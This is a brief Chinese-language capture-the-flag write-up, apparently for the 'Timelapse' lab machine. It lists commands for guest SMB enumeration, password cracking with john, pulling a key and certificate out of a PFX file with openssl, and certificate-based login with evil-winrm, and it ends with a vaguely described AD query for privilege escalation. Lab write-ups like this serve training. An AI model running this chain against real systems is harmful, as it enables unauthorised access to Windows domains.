Timelapse

一、寻找思路

从445端口下手，
smbmap -H 10.10.11.152 -u 'guest' -r (-r 递归罗列文件)

使用smbclient扫描也是可以的

发现有两个文件可以阅读

提取出来
连接的时候不用-L参数

当破解john破解过的密码时
rm ~/.john/*
在破解一次就有密码

二、pfx文件

解压后遇到一个pfx文件，这里通常是大家的知识盲区

PFX文件（也称为PKCS#12文件）是一种用于存储加密证书和私钥的文件格式。它通常是加密的，文件中包含多个证书和私钥，并且通常是以二进制格式存储的。我们可以使用以下命令提取出来

要用上上网搜集信息能力，在此网站便有详细教学

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem

接着使用evil-winrm登录

evil-winrm -i 10.10.11.152 -k key.pem -c cert.pem -S

- `-S`：启用 SSL/TLS 连接。 因为证书是SSL/TLS认证的，不添加，连接不了

三、提权部分

横向移动

powershell 查看隐藏文件命令 dir -Force

同样要加-S

垂直提权：
要用到Powershell中的一个脚本

上网搜的语句
Get-ADComputer -Filter 'ObjectClass -eq "computer"' -Property * 

提权成功